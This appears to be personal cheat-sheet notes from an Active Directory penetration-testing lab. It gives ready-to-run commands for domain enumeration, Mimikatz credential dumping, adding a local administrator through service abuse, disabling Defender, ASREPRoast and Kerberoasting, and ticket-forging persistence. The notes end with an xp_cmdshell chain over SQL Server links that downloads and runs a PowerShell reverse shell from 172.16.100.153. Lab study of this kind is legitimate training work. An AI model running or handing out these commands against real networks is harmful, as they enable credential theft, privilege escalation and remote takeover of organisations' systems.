Notes
Notes
Notes
• PowerShell
ENUMERATION:
• AD Module
• PowerView
o Get-NetDomain
o Get-NetDomain -Domain powershell.local (root forest/parent domain)
o Get-DomainSID (current domain sid)
o Get-NetDomainController (dc)
o Get-NetUser
o Get-NetUser | select name (filter for name property) OR Get-NetUser | select -ExpandProperty cn
o Get-NetUser -Domain powershell.local (trusted domain)
o Get-NetUser -Domain powershell.local | select name (filter for name property in trusted domain)
o Get-NetUser -UserName student153 (current user)
o Get-NetGroup
o Get-NetGroup *admin* (filter for groups with admin wildcard)
o Get-NetGroupMember -GroupName “Domain Admins” OR Get-NetGroupMember -GroupName “Enterprise Admins” -Domain
moneycorp.local
o Get-NetGroup -UserName labuser (groups of current user)
o Get-NetComputer
o Get-NetComputer -FullData (full info on computers)
o Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC -Verbose (interesting shares)
o Get-NetOU OR Get-NetOU -FullData (list all OU’s)
o Get-NetOU -OUName StudentMachines OR Get-NetOU -OUName StudentMachines | %{Get-NetComputer -ADSpath $_ }
o Get-NetGPO (list all GPO’s)
o (Get-NetOU StudentMachines -FullData).gplink -> Get-NetGPO -ADSPath ‘LDAP://cn={AB306-220D-43FF-B03B-
83E8F4EF8081},cn=policies,cn=system,DC=dollarcorp,DC=moneycorpDC=local’ (GPO’s applied on StudentMachines OU)
o Get-ObjectAcl -SamAccountName labuser -ResolveGUIDs -Verbose (list ACL rights)
o Get-ObjectAcl -ADSprefix ‘CN=Administrator,CN=Users’ -Verbose (list ACL rights with a specific prefix *ObjectDN is the target
object for the ACE, IdentityReference is the user/role that has these rights over the object)
o Invoke-ACLScanner -ResolveGUIDs (interesting ACL’s in the domain)
o Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match “student153”} OR Invoke-ACLScanner -ResolveGUIDs |
?{$_.IdentityReference -match “RDPUsers”} (interesting ACLS’s of current user/user group)
o Get-NetForest (current forest)
o Get-NetForestDomain (all domains in current forest)
o Get-NetDomainTrust (trust relationships of current domain)
o Get-NetForestDomain -Verbose | Get-NetDomainTrust | ?{$_.TrustType -eq ‘External’} (external trust relationships)
o Get-NetDomainTrust | ?{$_.TrustType -eq ‘External’} (external trust relationships of current domain)
o Get-NetDomainTrust -Domain dollarcorp.moneycorp.local (trust relationship of child domain)
o Get-NetForestTrust
o Get-NetForest -Forest eurocorp.local
o Get-NetForestDomain -Forest eurocorp.local -> Get-NetForestDomain -Forest eurocorp.local -Verbose | Get-NetDomainTrust
o Find-LocalAdminAccess -Verbose (find all machines in current domain where current user has local admin access -> PSSession)
o Find-WMILocalAdminAccess (use when RPC & SMB used by Find-LocalAdminAccess are blocked)
o Invoke-EnumerateLocalAdmin -Verbose (find local admins on all machines in domain, needs admin privs on non-DC machines)
o Get-NetSession -ComputerName ops-dc
o Invoke-UserHunter -Verbose
o Invoke-UserHunter -GroupName “RDPUsers”
o Invoke-UserHunter -CheckAccess (find computers where a domain admin is logged in and the current user has access - run for
each new user/privilege)
o Invoke-UserHunter -Stealth
• Invoke-Mimikatz (PowerSploit)
o Invoke-Mimikatz -DumpCreds
o .\mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” exit (Mimikatz binary)
• Invoke-PortScan (PowerSploit)
• PowerUp (PowerSploit)
o Invoke-AllChecks
o Invoke-ServiceAbuse -Name AbyssWebServer -UserName ‘dcorp\student153’ (net localgroup administrators)
LATERAL MOVEMENT:
• PSSession (One-To-One)
• Invoke-Command (One-To-Many)
o Invoke-Command -ScriptBlock {whoami;hostname} -ComputerName dcorp-mgmt.dollarcorp.moneycorp.local
o Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimikatz.ps1 -ComputerName dcorp-dc.dollarcorp.moneycorp.local
o Invoke-Command -ScriptBlock {Set-MpPreference -DisableIOAVProtection $true} -Session $sess
o Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -Session $sess (run Mimikatz function from local store on remote)
o Get-NetUser -SPN
o Get-DomainUser -PreauthNotRequired -Verbose (PowerView Dev) -> Get-ASREPHash -UserName VPN153User -Verbose
(ASREPRoast) -> John The Ripper (brute-force)
• Determine if your user account has permissions to set UserAccountControl flags for any user (Disable Kerberos Pre-Auth & obtain
encrypted part of AS-REP)
• Determine if your user account has permissions to set UserAccountControl flags for any user (If you have privileges over a user via
ACL, then force set SPN for that user and obtain TGS)
o Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match “RDPUsers”} (PowerView Dev)
o Get-DomainUser -Identity Support153User | select serviceprincipalname (PowerView Dev) -> Set-DomainObject -Identity
Support153User -Set @{serviceprincipalname=’ops/whatever153’} -> Get-DomainUser -Identity Support153User | select
serviceprincipalname
o Add-Type -AssemblyName System.IdentityModel (Assembly)
o New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “ops/whatever153” (Assembly) ->
klist (check if ticket has been granted)
• Unconstrained Delegation
• Constrained Delegation for User/Machine account (the service account must have TRUSTED_TO_AUTH_FOR_DELEGATION
UserAccountControl attribute, the service account can access all the services in its msDS-AllowedToDelegateTo attribute)
PERSISTENCE:
• Golden Ticket (A golden ticket is signed and encrypted by the hash of the krbtgt account which makes it a valid TGT ticket)
• Silver Ticket (Encrypted and signed by the NTLM hash of the service account of the service running with that account)
• Skeleton Key (Malware which allows attacker to authenticate as any domain user with a master pwd)
• DSRM (Abuse Directory Service Restore Mode Administrator credential for persistence)
• DC Sync (Impersonate a DC and extract password hashes from the DC using PowerView)
• Modify Security Descriptors (On DC to get access using Powershell remoting & WMI without requiring Admin access)
• Retrieve machine account hash from DC without Admin access (Silver Ticket attack to get code execution with WMI)
• Abuse Database Links (Get reverse shell on a SQL server in external forest by abusing database links from dcorp-mssql)
o Import-Module .\PowerUpSQL.psd1 -> Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose (run on attacker machine) ->
Get-SQLInstanceDomain | Get-SQLServerLink -> Get-SQLServerLink -Instance dcorp-mssql.dollarcorp.moneycorp.local -> Get-
SQLServerLinkCrawl -Instance dcorp-mssql.dollarcorp.moneycorp.local -Verbose -> Get-SQLServerLinkCrawl -Instance dcorp-
mssql.dollarcorp.moneycorp.local -Query “exec master..xp_cmdshell ‘whoami’” -> Get-SQLServerLinkCrawl -Instance dcorp-
mssql.dollarcorp.moneycorp.local -Query “exec master..xp_cmdshell ‘whoami’” | ft
o powercat -l -v -p 443 -t 1000 -> Get-SQLServerLinkCrawl -Instance dcorp-mssql.dollarcorp.moneycorp.local -Query ‘exec
master..xp_cmdshell ”powershell iex (New-Object Net.WebClient ).DownloadString(‘’http://172.16.100.153/Invoke-
PowerShellTcp.ps1’’)”’